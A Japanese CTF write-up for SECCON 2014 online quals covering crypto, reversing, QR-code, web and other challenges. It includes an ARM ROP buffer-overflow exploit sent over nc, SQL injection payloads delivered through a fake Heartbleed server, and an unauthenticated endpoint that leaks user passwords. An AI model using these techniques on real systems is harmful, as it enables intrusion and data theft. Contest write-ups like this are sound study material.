ログイン
編集不可のページディスカッション情報添付ファイル
CTF/Writeup/SECCON 2014 Quals Online Winter

MMA

Writeups for SECCON 2014 オンライン予選(英語)

SECCON 2014 Quals Online WinterにチームMMAとして参加した。最終順位は11位であった。

Welcome to SECCON (Start 100pts)

1. まず問題のページを開きます。

2. 問題文には次のように書いてあるので、目grep力を駆使して、答えを探します。

問題

The answer is "SECCON{20141206}".

問題(和訳)

答えは、「SECCON{20141206}」です。

結果:

SECCON{20141206}

Easy Cipher (Crypto 100pts)

2進数、8進数、10進数、16進数で記述された数字の列が渡される。判定は次のようにした。

  • 0から始まる文字列なら8進数
  • [01]のみを含み5文字以上なら2進数
  • [0-9]のみを含むなら10進数
  • それ以外なら16進数

後は出来た数値の列を文字として表示すれば解が得られる。

irb> a =  %W(87 101 108 1100011 0157 6d 0145 040 116 0157 100000 0164 104 1100101 32 0123 69 67 0103 1001111 1001110 040 062 060 49 064 100000 0157 110 6c 0151 1101110 101 040 0103 1010100 70 101110 0124 1101000 101 100000 1010011 1000101 67 0103 4f 4e 100000 105 1110011 040 116 1101000 0145 040 1100010 0151 103 103 0145 1110011 0164 100000 1101000 0141 99 6b 1100101 0162 32 0143 111 1101110 1110100 101 0163 0164 040 0151 0156 040 74 0141 1110000 1100001 0156 056 4f 0157 0160 115 44 040 0171 1101111 117 100000 1110111 0141 0156 1110100 32 0164 6f 32 6b 1101110 1101111 1110111 100000 0164 1101000 0145 040 0146 6c 97 1100111 2c 100000 0144 111 110 100111 116 100000 1111001 6f 117 63 0110 1100101 0162 0145 100000 1111001 111 117 100000 97 114 0145 46 1010011 0105 0103 67 79 1001110 123 87 110011 110001 67 110000 1001101 32 55 060 100000 110111 0110 110011 32 53 51 0103 0103 060 0116 040 5a 0117 73 0101 7d 1001000 0141 1110110 1100101 100000 102 0165 0156 33 )
irb> a.map{|a|a.start_with?('0') ? a.to_i(8) : (/^[0-1]+$/ =~ a && a.size >= 5? a.to_i(2) : (/^\d+$/=~a ? a.to_i(10) : a.to_i(16)))}.map(&:chr).join
=> "Welcome to the SECCON 2014 online CTF.The SECCON is the biggest hacker contest in Japan.Oops, you want to know the flag, don't you?Here you are.SECCON{W31C0M 70 7H3 53CC0N ZOIA}Have fun!"

Decrypt it (Easy) (Crypto 200pts)

バイナリを読んだ結果,概ね次のような動作をすることがわかった。

   1 srand(time(NULL));
   2 while (!feof(rfp)) {
   3   fread(buf, 1, 1, rfp);
   4   buf[0] = buf[0] ^ (rand() % 256);
   5   fwrite(buf, 1, 1, wfp);
   6 }

ファイルの最終更新日時を中心に時刻の探索を行った。

   1 #include <stdlib.h>
   2 #include <stdio.h>
   3 char buf[10];
   4 int main() {
   5   FILE *fp  = fopen("ecrypt1.bin","r");
   6   fread(buf, 8, 1, fp);
   7   int i,j,cnt=0;
   8   for(i = 1416606360+100000; i > 1416606360-1000000; i--) {
   9     srand(i);
  10     char enc[10];
  11     for(j = 0; j < 8; j++) {
  12       enc[j] = buf[j] ^ (rand() % 256);
  13     }
  14         if (enc[0] == (char)0x89 &&
  15                 enc[1] == (char)0x50 &&
  16                 enc[2] == (char)0x4E &&
  17                 enc[3] == (char)0x47 &&
  18                 enc[4] == (char)0x0D &&
  19                 enc[5] == (char)0x0A &&
  20                 enc[6] == (char)0x1A &&
  21                 enc[7] == (char)0x0A) {
  22                 printf("%d\n", i);
  23         }
  24   }
  25 }

結果,時刻は1416667590であることが判明したので復号を行ったところ次の画像が得られた。

crypt1.png

これはRabin暗号である。nを素因数分解して秘密鍵を得て復号を行う。

   1 require_relative 'math'
   2 nn = [0xb8ae199365, 0xb86e78c811, 0x7bd4071e55]
   3 bb = [0xffeee, 0xfffee, 0xfefef]
   4 cc = [0x8d5051562b, 0x5ffa0ac1a2, 0x6008ddf867]
   5 for i in 0..2
   6   n = nn[i]
   7   b = bb[i]
   8   c = cc[i]
   9 
  10   p, q= Math::prime_factorization2(n).map{|a|a[0]}
  11   puts [p,q].map{|a|a%4}
  12 
  13   for xx in 1..p
  14     if (xx * xx + b * xx - c)% p == 0
  15       p (['!',xx])
  16       x_p = xx
  17     end
  18   end
  19   for xx in 1..p
  20     if (xx * xx + b * xx - c)% q == 0
  21       p (['!',xx])
  22       x_q = xx
  23     end
  24   end
  25 
  26   puts ['%x' % (Math::chinese_remainder(p, q, x_p, x_q))].pack('H*')
  27   puts ['%x' % Math::chinese_remainder(p, q, p - b -  x_p, x_q)].pack('H*')
  28   puts ['%x' % Math::chinese_remainder(p, q, p - b -  x_p, q - b-x_q)].pack('H*')
  29   puts ['%x' % Math::chinese_remainder(p, q, x_p, q - b-x_q)].pack('H*')
  30 end

暗号文に対して平文は4種類対応するため,その中から意味のあるものを採用する。

こうしてフラグが得られた。

SECCON{Ra_b1_N}

なお,WikipediaのRabin暗号のページに書かれていた式はコンテスト時点では間違っており, 平方根を求めるために\((p+1)/4\)乗すべきところが\((p-1)/2\)乗になっていた。 これでは二乗すると1になってしまう。 これに騙されたチームも多かったのではないだろうか。

<del>Pari/GP芸</del>Pari/GPによる実装例

具体的な数字は最後のブロックだけ

n=531838213717
b=1044463
c=412465625191

p=factor(n)[1,1]
q=n/p
xp = sqrt(c+Mod(b,p)*b/4)-Mod(b,p)/2
xq = sqrt(c+Mod(b,q)*b/4)-Mod(b,q)/2 
x1 = chinese(xp, xq)
x2 = chinese(-xp-b, xq)
x3 = chinese(xp, -xq-b)
x4 = chinese(-xp-b, -xq-b)

? x1 = chinese(xp, xq)
%8 = Mod(421735124605, 531838213717)
? x2 = chinese(-xp-b, xq)
%9 = Mod(368810693940, 531838213717)
? x3 = chinese(xp, -xq-b)
%10 = Mod(163026475314, 531838213717)
? x4 = chinese(-xp-b, -xq-b)
%11 = Mod(110102044649, 531838213717)

Decrypt it (Hard) (Crypto 300pts)

コンテスト中に解けなかった問題。バイナリをブラックボックスとして挙動を観察すればすぐに解けたのに,何を思ったのかバイナリを読み始めてコンテスト最後の5時間を潰してしまった。

逆アセンブルして少し観察すると次のことがわかる。

  • srand(time())して一回rand()を呼ぶ。
  • 6bytes分freadして,7bytes分fwriteする。
  • 最後が6bytesに満たない場合はそのまま出力する。

よって6bytesのファイルを作り,さらにrandの出力を固定して挙動を観察する。

次のコードをpreload.cとして作成し,

   1 int rand(void) {
   2   return atoi(getenv("RAND"));
   3 }

共有ライブラリを作成,

% gcc -m32 -shared -o preload.so preload.c

これをLD_PRELOADで読み込むことによってrandの戻り値を環境変数から指定できるようにする。

% RAND=1 LD_PRELOAD=./preload.so ./E 1 3 p p.bin

さて,平文は6bytesで1blockだとわかっているので,適当に0や1などの値を平文に設定したファイルを作って暗号化してみる。 まず平文を0に固定してrandの戻り値を変更してみると次のような結果が得られる。

rand = 0
args: 1 1
plaintext: 0
ciphertext: 1 0

rand = 1
args: 1 1
plaintext: 0
ciphertext: 0x1e60 0

rand = 2
args: 1 1
plaintext: 0
ciphertext: 0x39aa400 0
        0x39aa400 = 0x1e60**2

ここから,\(g = \mathrm{0x1e60}\),randの戻り値を\(r\)として一番目には\(g^r\)が記録されていることが推測される。

さらに,6乗と11乗の時の値から

>>> hex(Crypto.Util.number.GCD(0x1e60**6 - 0x9e2a68e6bc26, 0x1e60**11 - 0x3aa17cc27eb7))
'0x1000000000015L'

0x1000000000015は素数であるから法\(n=\mathrm{0x1000000000015}\)であるとわかる。

eflags.binの\(g^r\)の値は0xb5731391e0d6であるから,

g = 7776;
gr = 199505854193878;
n = 281474976710677;
znlog(gr, Mod(g, n))

をPari/GPで実行して\(r=1152852670\)を得る。

つづいて,平文を1,2と設定して挙動を観察する。

rand = 1
args: 1 1
plaintext: 1
ciphertext: 0x1e60 1

rand = 1
args: 1 2
plaintext: 1
ciphertext: 0x1e60 2

rand = 1
args: 1 3
plaintext: 1
ciphertext: 0x1e60 3

rand = 1
args: 1 1
plaintext: 2
ciphertext: 0x1e60 2

rand = 1
args: 1 2
plaintext: 2
ciphertext: 0x1e60 4

rand = 2
args: 1 3
plaintext: 2
ciphertext: 0x39aa400 18

rand = 2
args: 1 3
plaintext: 3
ciphertext: 0x39aa400 27

ここから,二番目以降の値は平文を\(m\)として\(m \cdot \mathrm{arg2}^r\)で計算されていると推測できる。だいたいElGamal暗号である。

以上の考察より解読プログラムを作成した。

   1 from Crypto.Util.number import *
   2 
   3 n = 281474976710677
   4 d = inverse(pow(69219086192344, 1152852670, n), n)
   5 
   6 with open("eflag.bin", "rb") as f:
   7         f.read(7)
   8         while True:
   9                 s = f.read(7)
  10                 if len(s) < 7:
  11                         sys.stdout.write(s)
  12                         break
  13                 else:
  14                         c = bytes_to_long(s)
  15                         m = (c * d % n)
  16                         sys.stdout.write(long_to_bytes(m, 6))

% python decrypt.py > flag.png

こうしてflagが得られた。

flag.png

Ms.Fortune? Misfortune. : 4096-bit RSA (Crypto 400pts)

与えられたファイルを展開してみて中身を調べてみた。

  • key.pub.gpg

    • GPGでのRSA暗号化に用いる公開鍵
  • encrypted.gpg

    • GPGによってRSAで暗号化されたデータ
  • key.gpg.masked

    • GPGのRSAの秘密鍵のテンプレート
  • recover.py

    • p, qを入力するとRSA秘密鍵を生成するプログラム

pgpdumpをインストールし、gpgの公開鍵の内容を見てみた。

$ pgpdump key.pup.gpg
Old: Secret Key Packet(tag 5)(1816 bytes)
(中略)
Old: User ID Packet(tag 13)(31 bytes)
        User ID - SECCON ____Key <____key@seccon>
Old: Signature Packet(tag 2)(555 bytes)
        Ver 4 - new
        Sig type - Positive certification of a User ID and Public Key packet(0x13).
        Pub alg - RSA Encrypt or Sign(pub 1)
        Hash alg - SHA1(hash 2)
        Hashed Sub: signature creation time(sub 2)(4 bytes)
                Time - Fri Jan  2 09:00:00 JST 1970
        Hashed Sub: key flags(sub 27)(1 bytes)
                Flag - This key may be used to certify other keys
                Flag - This key may be used to sign data
(中略)
Old: Secret Subkey Packet(tag 7)(1816 bytes)
(中略)
Old: Signature Packet(tag 2)(543 bytes)
        Ver 4 - new
        Sig type - Subkey Binding Signature(0x18).
        Pub alg - RSA Encrypt or Sign(pub 1)
        Hash alg - SHA1(hash 2)
        Hashed Sub: signature creation time(sub 2)(4 bytes)
                Time - Fri Jan  2 09:00:00 JST 1970
        Hashed Sub: key flags(sub 27)(1 bytes)
                Flag - This key may be used to encrypt communications
                Flag - This key may be used to encrypt storage
(省略)

Flagの内容からSecret Subkey Packetが暗号化に用いる鍵だと分かるらしい。(ytokuさんに教えてもらった)

pgpdumpの引数として-iを渡すとnの具体的な値が取れる。 このnについて、各種素因数分解アルゴリズムを適用した所、Fermat法によって素因数分解に成功した。

   1 require 'gmp'
   2 n = GMP::Z(ARGV[0].to_i)
   3 x = n.sqrt + 1
   4 y = (x * x - n).sqrt
   5 while true
   6   w = x * x - n - y * y
   7   break if w == 0
   8   if w > 0
   9     y += 1
  10   else
  11     x += 1
  12   end
  13 end
  14 p [x+y,x-y,n]

$ ruby fermat.rb (cat n)
32158763574926282399690427421751598974822750157866002942864427634852437380540017586451493854661729909380518733649186624385206737336324813109500237603304026009112696565510846849987937423619262973393969175056759821652138869783215378169757835283584660846583208812725733839059137580944002686113912792569631796916069732431775599320458346937859589815497525828622622652165709271152246464728489927670696601016248559515951932154686633599100945314921834227324381958751184684979824241375253606863601895383658582486045363570755445629865194046700806542078378801136397577730247660070033517187439537339428288763342861366560261446073, 32158763574926282399690427421751598974822750157866002942864427634852437380540017586451493854661729909380518733649186624385206737336324813109500237603304026009112696565510846849987937423619262973393969175056759821652138869783215378169757835283584660846583208812725733839059137580944002686113912792569631796916069732431775599320458346937859589815497525828622622652165709271152246464728489927670696601016248559515951932154686633599100945314921834227324381958751184684979824241375253606863601895383658582486045363570755445629865194046700806542078378801136397577730247660070033517187439537339428288763342861366560261414507, 1034186074668005446865661651578208369514158803552244005581133348807218259696136975186768057532805396894757503164834709575083359161158060701923008831149233177215596305395749862300700772298386522636562203611668211601359078939366452933448401372783149865070405032946502692195960337152490393257718681775969357953766124434670452760182942622011519373645653657784274264774773270847089540432369489508909290697992927057404389218509541644042197448296417276686963995927414541514778710278820030649227976349765070908207584414253880096569270321293357683127769728901749940165024782079154839570419235490028108256539125090626571373643257455521820767805808214404175900736109428513289545954241551995058498737472560704736894014465695117165251699935296644992760434412206519036326801985540077086806228464411438175416317958133959586691011057808141234300883692932436022122663781160823472736298914304029803683697389880156222528045623045436226522780569221934366978973936408257173404970887883159180079205465195884955186605310665826226975454171035075016280417683011623124380312403051425940705920625660567584606796218038626946234225864706878239646554381165540673005572649955471689205027195933802181344480474070023069194083134722979170599617466579222550596280381011]

recover.pyに引数として素因数分解の結果を渡して、秘密鍵key.gpgを作成し、encrypt.gpgを解読した。

$ python recover.py 32158763574926282399690427421751598974822750157866002942864427634852437380540017586451493854661729909380518733649186624385206737336324813109500237603304026009112696565510846849987937423619262973393969175056759821652138869783215378169757835283584660846583208812725733839059137580944002686113912792569631796916069732431775599320458346937859589815497525828622622652165709271152246464728489927670696601016248559515951932154686633599100945314921834227324381958751184684979824241375253606863601895383658582486045363570755445629865194046700806542078378801136397577730247660070033517187439537339428288763342861366560261414507 32158763574926282399690427421751598974822750157866002942864427634852437380540017586451493854661729909380518733649186624385206737336324813109500237603304026009112696565510846849987937423619262973393969175056759821652138869783215378169757835283584660846583208812725733839059137580944002686113912792569631796916069732431775599320458346937859589815497525828622622652165709271152246464728489927670696601016248559515951932154686633599100945314921834227324381958751184684979824241375253606863601895383658582486045363570755445629865194046700806542078378801136397577730247660070033517187439537339428288763342861366560261446073

$ gpg --import key.gpg

$ gpg --decrypt encrypted.gpg 
gpg: 4096-ビットRSA鍵, ID 7DAD8D6C, 日付1970-01-02に暗号化されました
      “SECCON ____Key <____key@seccon>”
SECCON{g^2-f^2=(g+f)(g-f)~is~still~important~to~factor~BIG~numbers,.025f0ddfdc463a24bf0350c15b175eee}

Shuffle (Binary 100pts)

逆アセンブルを眺みてみると、0x0804854bから0x080486afにかけて文字列を生成しているのに気づいた。 gdbを用いて表示してみた。

$ gdb ./shuffle
(略)
(gdb) b *0x80486af
Breakpoint 1 at 0x80486af
(gdb) r
Starting program: ...

Breakpoint 1, 0x080486af in main ()
(gdb) x/s $esp + 0x24
0xffffd0e4:     "SECCON{Welcome to the SECCON 2014 CTF!}\b"
(gdb)

Reverse it (Binary 100pts)

バイナリを眺めてみるとどうにも0effとか9dffとか8dffとかが目に付きJPEGを反転させたものっぽいなと感じた。

$ xxd Reverseit 
0000000: 9dff 700d b6da fc93 7263 2822 22bd d218  ..p.....rc(""...
(中略)
0001e00: 8400 8400 1010 1000 6494 64a4 0100 0eff  ........d.d.....
0001e10: 8dff

16進数文字列として反転させてみたら、JPEG画像で間違いなかった。 ただし、画像も反転されていたのでconvertコマンドで修正した。

$ ruby -e'File.binwrite("Reversed", File.binread("Reverseit").unpack("H*").map(&:reverse).pack("H*"))'

$ convert -flop Reversed flag.jpg

生成されたflag.jpgにフラグは記述されていた。

Let's disassemble (Reverse 200pts)

降ってくるバイナリ列は長さが可変なので、可変長の命令を持つCPUであることが分かる。 ytokuさんがいろいろ頑張ってz80だと特定したので、z80の逆アセンブラを探して、 結果を送信するプログラムを作成した。

   1 require_relative 'ctf'
   2 TCPSocket.open('disassemble.quals.seccon.jp', 23168) do |s|
   3   s.echo = true
   4   for i in 0...100
   5     File.binwrite('tmp.bin', s.read_until(/\?/)[0..-2].split(/:/)[1].split.map{|a|a.to_i(16)}.pack("C*"))
   6     c2 = `z80dasm tmp.bin`.lines[5].chomp
   7     unless c2.include?('def')
   8       s.print c2
   9     else
  10       system "dz80 -n tmp > /dev/null"
  11       s.print File.read('tmp.z80').lines[6].strip.split.join(' ') + "\n"
  12     end
  13     s.flush
  14   end
  15   s.interactive!
  16 end

aptに含まれていた、z80dasmdz80という逆アセンブラを用いたのだが、dz80は割と良く、z80dasmはたまに逆アセンブルに失敗することが分かった。 なので、z80dasmが失敗した時のみdz80を使うようにしたら、フラグを得ることが出来た。

$ ruby solve.rb
(中略)
The flag is SECCON{I love Z80. How about you?}

Advanced RISC Machine (Exploit 300pts)

ARMのバイナリが与えられるので読んで解析した。解析結果

0x4254にある関数は1行データを読み出すのだが、バッファーの大きさを考慮しない。 そのため、バッファーオーバーフローを用いてスタックの状態を任意に書き変えることが出来る。

この問題では、スタックが実行可能じゃないため、関数の戻り先を実行したい命令 + "pop {pc}"にして好きな命令を実行していく。戻り先としては次のものを利用した。

  • 0x4270
    • r1の先にある文字列を表示し、その文字数をr0に代入する。
  • 0x42b0
    • {r1,r2,r3,r4,r5,r6,fp}に任意の内容を代入する。
  • 0x41bc
    • r0の内容を出力する。
  • 0x404c
    • システムコールを実行する。

これらを組み合わせて、syscall(5(OPEN), "flag.txt"), read(fd, buf, 40), print(buf)を行うようなexploitを作成した。

   1 def print2(offset, start = false) 
   2   res = []
   3   unless start
   4     res = [0x42b0]
   5   end
   6   res + [offset, 0, 0, 0, 0, 0, 0, 0x4270]
   7 end
   8 
   9 def setr0(number)
  10   [0x42b0,'str0.'+(24-number).to_s, 0, 0, 0, 0, 0, 0, 0x4270]
  11 end
  12 
  13 def syscall(r1, r2, r3, r4, r5, r6, fp) 
  14   [0x42b0, r1, r2, r3, r4, r5, r6, fp, 0x404c]
  15 end
  16 
  17 def putchar()
  18   [0x41bc]
  19 end
  20 
  21 def read_without_r0(r1,r2,r3,r4,r5,r6,fp) 
  22   [0x42b0, r1, r2, r3, r4, r5, r6, fp, 0x4034]
  23 end
  24 
  25 # attack
  26 stack = setr0(5) + 
  27   syscall('str1', 0, 0, 0, 0, 0, 0) + 
  28   read_without_r0('str4', 40, 0, 0, 0, 0, 0) + 
  29   print2('str4')
  30 
  31 stack = stack[1..-1]
  32 strs = ['_' * 24 + "\0" * 4, "flag.txt\0\0\0\0", "aaa\0\0\0\0\0", 'END!!!', 'hogefugahofegua']
  33 
  34 pos = 0x1fffefd8 + stack.size * 4
  35 strs.each.with_index do |a,i|
  36   stack.map!{|a|
  37     if a == 'str' + (i).to_s
  38       pos
  39     elsif a.is_a?(String) && a.start_with?('str' + (i).to_s + '.')
  40       l = ('str'+i.to_s+'.').size
  41       pos + a[l..-1].to_i
  42     else
  43       a
  44     end
  45   }
  46   pos += a.size
  47 end
  48 print stack.pack("I*") + strs*''
  49 print "\n"

$ ruby exploit.rb | nc micro.pwn.seccon.jp 10001
Input password: _____SECCON{TeaBreakAtWork}

jspuzzle (Web 100pts)

次のように空欄に番号を付ける。

({<1> :function(){ 
  this[<2> ] = (new Function( <3> + <4> + <5> ))(); 
  var pattern = <6>; 
  var r = new RegExp( pattern ); 
  this[ r[ <7> ]( pattern ) ][ <8> ]( 1 ); 
}})[ <9>[ <10> ]() ]();

次のような順序で考えた。

  1. <1><9>[<10>]()は等しくないと中の関数は呼び出されない。このような組み合わせは<1>:"function", <9>:"Function", <10>:"toLowerCase" しかないので、この3つは確定する。

  2. r[<7>](pattern)]<2>と等しいと嬉しい。regexpに対する関数呼び出しなので<7>はおそらくexec。この時、<6>が通常の文字列だとr.exec(pattern)が配列になってしまう。そのため、<6>は自分自身にマッチしない‘"^[\w]$"‘となる。

  3. この時、r[”exec"](pattern)]はnullになるため、<2>"null"で確定する。

  4. <3> <4> <5>について、何かを返却するので、<3>"return"で確定。その後に空白が必要なので、<4>"/*^_^*/"になる。

  5. <8>でalertが呼び出されるようにするために、<5>"this"にして、<8>"alert"にする。これによって最終的に、this.alert(1)となる。

REA-JUU WATCH (Web 200pts)

リア充度を測定するサイトを攻撃する問題であった。

問題を解き終わると点数を表示するページがある( http://reajuu.pwn.seccon.jp/quiz/7 )が, このページは点数を取得する際に http://reajuu.pwn.seccon.jp/users/chk/<ユーザ番号> から取得している。 ここが認証を要求しないないため, 他のユーザのIDとパスワードが取れる。1番のユーザの情報を取得した。

{"username":"rea-juu","password":"way_t0_f1ag","point":99999}

ログインして問題を解き終わった時のURLにアクセスしたところ,点数99999点と共にフラグが表示された。

SECCON{REA_JUU_Ji8A_NYAN}

Bleeding "Heartbleed" Test Web (Web 300pts)

任意のサイトにheartbleedの脆弱性の有無を行えるサイトが与えられる。

メッセージの特徴から、https://gist.github.com/sh1n0b1/10100394 のスクリプトを利用してチェックをしていることが分かる。 また、HTMLのコメントからDBに結果を追加していることが分かる。

そこで、チェックのスクリプトからHeartbleed脆弱性がありと判断されるようなサーバーを作り、送信する文字列でSQLインジェクションを行なった。

   1 require 'socket'
   2 Thread.new do 
   3   TCPServer.open '0.0.0.0', '8080' do |socket|
   4     s = socket.accept
   5     s.print [22,0,2].pack('Cnn')+ "\x0E\x0E"
   6     s.flush
   7     s.print [24,0,ARGV[0].size].pack('Cnn')+ ARGV[0]
   8     s.flush
   9   end
  10 end
  11 sleep 0.5
  12 system "curl 'http://bleeding.pwn.seccon.jp/?ip=133.242.155.176&port=8080'"

$ ruby heartbleed.rb "' union select sql from sqlite_master limit 1 offset 1; -- "
...
<!-- DEBUG: INSERT OK. TIME=CREATE TABLE ssFLGss ( flag ) -->
...

$ ruby heartbleed.rb "' union select flag from ssFlGss; -- "
...
<!-- DEBUG: INSERT OK. TIME=SECCON{IknewIt!SQLiteAgain!!!} -->
...

QR (Easy) (QR 200pts)

パンケーキに焼かれたQRコード,ただし左半分がなくなっている。

QRコードは右の方に平文が入っているので,読むだけ……なのだが焼く時にだいぶ歪んでしまったのか位置がわかりづらい。 頑張って読みとる。

????????????????**    *******
????????????????  *** *     *
????????????????** ** * *** *
????????????????* *   * *** *
?????????????????** * * *** *
????????????????? * * *     *
????????????????? * * *******
????????????????*   *        
?????????????????** ** ***** 
?????????????????* * * *    *
?????????????????* * *  **** 
?????????????????**  * ******
?????????????????  *   ***   
??????????????????  * ** * * 
??????????????????   ******* 
??????????????????  **   * * 
??????????????????  ** *  * *
?????????????????? ***   *   
??????????????????? *   * * *
??????????????????   *  *  **
?????????????????? ****** ***
??????????????????  *   *   *
???????????????????** * * *  
???????????????????**   *    
???????????????????****** * *
?????????????????? * * * **  
??????????????????*****   ***
???????????????????*   ** * *
???????????????????** **** **

自作のツールに投入して終わり。

% python qr.py
...
SECCON{PSwIQ9d9GjKTdD8H}

SECCON Wars: THE Flag Awakens (QR 300pts)

動画の55秒目から画面下部でQRコードが流れる。
動画を何らかの方法でダウンロードし、50秒目からffmpegでフレーム画像を取り出す。

$ ffmpeg -i video.mp4 -ss 50 -f image2 dir/%d.png

画像の最下部を切り出し、並べる。

   1 require 'RMagick'
   2 
   3 filenames = `ls ./swars | sort -n`.split("\n")
   4 
   5 imglist = Magick::ImageList.new
   6 
   7 filenames.each{|fn|
   8 src = Magick::Image.read("./swars/" + fn).first
   9 imglist << src.crop(0,239,320,240)
  10 }
  11 cat = imglist.append(true)
  12 cat.write("newimg.png")

生成された画像

newimg.png

生成された画像からQRコードの部分のみ切り出し、正方形に整形、二値化、白黒反転する。

newimg-e.png

QRコードを読みとる

yomitori.png

結果:

SECCON{M4Y 7H3 F0RC3 83 W17H U}

BBQR (QR 400pts)

QRコードだ!バーベキューだ!BBQRだ!

出題から10分程度で解答を提出してIRCにて運営からMMA a.k.a. "QR Ninjas"の異名を貰った。

以前にもあったQRコードが焼け落ちている問題。ただし今回残っているのは左側である。

頑張って読み取る。QR (Easy)に比べてとても読み取りやすかった。

******* ** **  **???????????
*     *  *     * ???????????
* *** *  * ** ** ???????????
* *** * * ***   *???????????
* *** *    *** *????????????
*     *  ** * * ????????????
******* * * * * *???????????
         * * * *????????????
  * *** *  ** ***???????????
  *    * ****** **??????????
* *  ****  **** * ??????????
 *** *  ** * ** * *?????????
 * **** *** *  * **?????????
* *  *  * *  * **  ?????????
 * * **  ** *      ?????????
  ** *   *    *    ?????????
**  * ** **  * *   ?????????
 ** *  ***   *  ** ?????????
*  * ** * * ** *   ?????????
 ****  *    **    *?????????
* **  * **     * * ?????????
        * ***   * *?????????
*******  **** ***  ?????????
*     * * *  *     ?????????
* *** * *  *  **  *?????????
* *** *  *** * ****?????????
* *** * **   **  **?????????
*     *  ****** ***?????????
*******   ***      ?????????

さて,このQRコードは左側が残っているため,Reed-Solomonによるエラー訂正符号のみが含まれている。

さてこのQRコードはVersion 3-Hなので,グループが2つあってストライプされており, グループあたりのあたりの符号語数35のうちエラー訂正符号語数は22,許容される誤り訂正数は11となっている。 一方読み取れている符号語数は,20と22であり,必要な符号語数24に届いていない。

ところが,実はReed-Solomonの消失許容数は付加された訂正符号語数であり,消失訂正であれば復元が可能である。もっと消してもいいのよ?

そういうわけで,すでに作ってあった開発中のツールにそのまま投入する。"?"の部分は消失しているものとして扱われる。

% python qr.py
...
SECCON{iReNun8rpEMPiKoT}

このツール,QR code inspector libraryはリファクタリングしたら公開しようと思っていたのだが, 作業が滞ったまま数カ月が経過し,ついに先を越されてしまったようだ。

Get the key.txt (Forensics 100pts)

loopback-mountすると、1というファイルがあったので表示したらフラグを得ることが出来た。

$ zcat 1
SECCON{@]NL7n+-s75FrET]vU=7Z}

Choose the number (Programming 100pts)

配列が入力として与えられるので、その最大値あるいは最小値を答える問題。 この手の問題はスクリプト言語が強いと思う。

   1 require_relative 'ctf'
   2 TCPSocket.open('number.quals.seccon.jp' ,31337) do |s|
   3   s.echo = true
   4   while true
   5     ar = s.gets.split(',').map{|a|a.split.join.to_i}
   6     t = s.read_until /number\?/
   7     if /minimum/ =~ t
   8       s.print ar.min.to_s + "\n"
   9       s.flush
  10     elsif /maximum/ =~ t
  11       s.print ar.max.to_s + "\n"
  12       s.flush
  13     end
  14   end
  15 end

$ ruby solve.rb
...
 2373849732, 2148018807, 967760900, -2458619249, 861417957, 903212722, 1088911047, 2116907202, -1795668956, -2060248852, -1514132196, 211229153, -1734719894, -2086474216, 1925818040, -246185466, -1272210548, -1818076701, 2933317222, 2494512663, 2687488533, 2525231782, 531849719, 2279048489, 788148811, 1388455265, 573126549, -2818451841, -2234980827, 3928993570, 3957773265, 3473404644, -2833778029, 3610500361, -681318344, -3602924829, -2055146750, 1869889128, 1915628205, -3689824685, 864539215, 2180138449, -524805557, -1382914163, 4187539134, 514698030, -1139899245, 3992359201, -2739819634, -3663877914, -4173448935, 3428707288, -3700946654, 1770719263, 3932923303, -14277131, -1556777473, 1702109422, -993194067, 2436644134, 3194694465, 2257448446, 4204565891, -3882720472, 3407435621, -1926724176, -3243858876, 1190148323, -396066626, 4159502787, -1731015929, 2739026253, 57372190, -3334186190, -4244958694, 423774751, 2051784010, 2775407689, 2351965214, -1777923452, 143025071, -2883579497, 1093661225, 3301298719, -3928315830, 2175873534, 1029392770, -3555847400, -2178080903, 3405794270, 3152496133, -881122064, -4019529618, 714633952, 1051049226, -3030072125, -1793734069, 398907258, -673416299, -2091214689, 3843286998
The minimum number?-4244958694
 Congratulations!
The flag is SECCON{Programming is so fun!}

The Golden Gate (Programming 400pts)

ユニバーサル基板上にゲートICを10個と,スイッチとLEDを8個ずつ配置して実際に製作されたエンコーダーの写真が与えられた。

ゲートICは調べてみるとNANDゲートが4つ入っていることがわかる。 裏表の写真を行き来しながら接続を確認して回路図に落とした。 スイッチは押すと0になるものと1になる物両方存在している。

circuit.jpg

この回路図を元にプログラムを作成して動作をシミュレーションした。 結論から言えば,依存関係順に並べれば一度に計算を終わらせることも可能であったが, フリップフロップが含まれていて順序回路になっている可能性もあったため結果が安定するまで繰り返し計算するように実装した。 どちらが上位ビットなのかわからなかったため,切り替えられるようにしてある。 また,与えられたのはエンコーダであるから,結果を逆引きして平文を求めている。

   1 #include <stdio.h>
   2 
   3 #define UPPER 0
   4 
   5 int nand(int x, int y) {
   6     return !(x && y);
   7 }
   8 
   9 int gate[10][5];
  10 unsigned char f(unsigned char x) {
  11     int i;
  12     int plus = 1;
  13 #if UPPER
  14     int sw1 =  !(x & 0x80);
  15     int sw2 =  !(x & 0x40);
  16     int sw3 = !!(x & 0x20);
  17     int sw4 = !!(x & 0x10);
  18     int sw5 =  !(x & 0x08);
  19     int sw6 = !!(x & 0x04);
  20     int sw7 =  !(x & 0x02);
  21     int sw8 = !!(x & 0x01);
  22 #else
  23     int sw1 =  !(x & 0x01);
  24     int sw2 =  !(x & 0x02);
  25     int sw3 = !!(x & 0x04);
  26     int sw4 = !!(x & 0x08);
  27     int sw5 =  !(x & 0x10);
  28     int sw6 = !!(x & 0x20);
  29     int sw7 =  !(x & 0x40);
  30     int sw8 = !!(x & 0x80);
  31 #endif
  32     for (i = 0; i < 100; i++) {
  33     gate[1][1] = nand(sw1, gate[8][2]);
  34     gate[1][2] = nand(gate[1][1], gate[8][2]);
  35     gate[1][3] = nand(gate[1][1], sw1);
  36     gate[1][4] = nand(gate[1][2], gate[1][3]);
  37     gate[2][1] = nand(plus, gate[3][1]);
  38     gate[2][2] = nand(gate[2][1], gate[3][2]);
  39     gate[2][3] = nand(gate[2][2], gate[3][3]);
  40     gate[2][4] = nand(gate[2][3], gate[3][4]);
  41     gate[3][1] = nand(plus, sw3);
  42     gate[3][2] = nand(sw3, gate[3][1]);
  43     gate[3][3] = nand(gate[2][2], gate[6][2]);
  44     gate[3][4] = nand(gate[3][3], gate[6][2]);
  45     gate[4][1] = nand(sw2, gate[5][1]);
  46     gate[4][2] = nand(gate[4][1], gate[5][2]);
  47     gate[4][3] = nand(gate[8][2], gate[5][3]);
  48     gate[4][4] = nand(gate[4][3], gate[5][4]);
  49     gate[5][1] = nand(sw2, sw4);
  50     gate[5][2] = nand(gate[5][1], sw4);
  51     gate[5][3] = nand(gate[8][2], gate[6][2]);
  52     gate[5][4] = nand(gate[5][3], gate[6][2]);
  53     gate[6][1] = nand(sw2, gate[7][1]);
  54     gate[6][2] = nand(gate[6][1], gate[7][2]);
  55     gate[6][3] = nand(gate[4][2], gate[7][3]);
  56     gate[6][4] = nand(gate[6][3], gate[7][4]);
